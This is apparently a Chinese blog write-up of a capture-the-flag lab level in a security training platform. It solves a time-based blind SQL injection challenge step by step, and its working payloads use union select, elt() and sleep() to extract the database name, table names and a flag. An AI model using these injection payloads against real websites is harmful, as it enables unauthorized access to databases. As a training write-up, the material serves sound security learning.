网络信息安全攻防学习平台_注入关(第7关)_题解

题目地址:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php 

不太明白盲注的可以先看下这两个例子:栗子,李子. (本宝宝就是受这两个的启发做出了这道盲注题.)

0x00.

?username=admin 正常返回内容 说明我们猜测的get参数名正确.

那么这样呢?username=admin' 发现返回报错,看报错内容我们能确定是查询出错,说明单引号起了作用,并没有什么注入过滤,这是个好消息,那坏消息…并没有返回mysql的报错信息,只是返回php语句的报错(谁让这是盲注题呢..).

0x01.确定字段数

在一番纠结后我确定下来用elt(_____,sleep(10))来确定是否猜解正确,当下划线部分为1时网页会因长时间sleep而访问失败.因为elt需要写到select后所以我需要取得查询字段数使其在union后能正确运行.

?username=admin' union select 1,2,3 %23 我们可以发现19行的报错消失(其实我纠结了半天为什么总是会有报错,就不能都不报么,最后才向明半他应该是有两次查询有不同的字段数.)

0x02.盲注

我们确定了基本框架就是他了?username=admin' union select 1,2,elt(___,sleep(10)) %23

那么下面第一步我们需要得到数据库名,这里因为之前在这做题数据库总是叫mydbs我就直接试了结果直接猜对…?username=admin' union select 1,2,elt(database()='mydbs',sleep(10)) %23

有了库名我下一步想的是看看有几个表?username=admin' union select 1,2,elt((select count(*) from information_schema.TABLES where TABLE_SCHEMA='mydbs')=3,sleep(10)) %23 当我试到3时网页无法正常返回内容,确定为3个表.

?username=admin' union select 1,2,elt((select ascii(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='mydbs' limit 0,1),1,1))=108),sleep(10)) %23那里我先用大,小于号不断缩小范围最后确定到108,也就是l.就在这时我突然想到了我做的上一题,难道是log表

?username=admin' union select 1,2,elt((select ascii(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='mydbs' limit 0,1),3,1))=103),sleep(10)) %23 果然!那第二个表应该是motto 

?username=admin' union select 1,2,elt((select ascii(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='mydbs' limit 1,1),1,1))=109),sleep(10)) %23 竟然又对了…又按着上一题的内容试了下发现

?username=admin' union select 1,2,elt((select ascii(substr((select motto from motto limit 3,1),1,1)))=107,sleep(10)) %23 这条记录motto的第一个字母确实是k

干脆我直接提交了上一题的答案notfound! 对了…竟然真对了……
(╯‵□′)╯︵┻━┻

0x03.PS

同作为小白的博主想跟大家说,真的要自己写些sql语句练练,那么多括号搞得我有点晕一句得改好几次…不过弄懂后发现豁然开朗(*^__^*).